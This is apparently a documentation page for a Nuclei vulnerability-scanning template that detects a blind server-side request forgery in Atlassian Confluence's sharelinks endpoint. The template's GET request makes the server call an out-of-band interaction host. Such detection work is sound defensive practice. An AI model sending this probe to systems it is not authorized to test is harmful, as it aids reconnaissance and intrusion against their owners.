Atlassian Confluence < 5.8.6 Server-Side Request Forgery
ID: confluence-ssrf-sharelinks
Severity: medium
Author: TechbrunchFR
Tags: confluence,atlassian,ssrf,oast
Description
Section titled “Description”Atlassian Confluence < 5.8.6 is affected by a blind server-side request forgery vulnerability in the widgetconnector plugin.
YAML Source
Section titled “YAML Source”id: confluence-ssrf-sharelinks
info: name: Atlassian Confluence < 5.8.6 Server-Side Request Forgery author: TechbrunchFR severity: medium description: Atlassian Confluence < 5.8.6 is affected by a blind server-side request forgery vulnerability in the widgetconnector plugin. remediation: Upgrade to Atlassian Confluence version 5.8.6 or later. reference: - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks - https://github.com/assetnote/blind-ssrf-chains#confluence - https://nvd.nist.gov/vuln/detail/CVE-2021-26072 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 6.8 cwe-id: CWE-918 metadata: max-request: 1 shodan-query: http.component:"Atlassian Confluence" tags: confluence,atlassian,ssrf,oast
http: - method: GET path: - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/'
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"
- type: word part: body words: - "faviconURL" - "domain" condition: and
- type: status status: - 200# digest: 4a0a00473045022100d0c5feb634d49955650554d604c5136e08bf8fde784d0eab1900f6533f648d4b02207a694bc3cfced18b0e1480b4f8a7c72ebedc8e533222675eccf7ec44f351cc68:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/confluence/confluence-ssrf-sharelinks.yaml"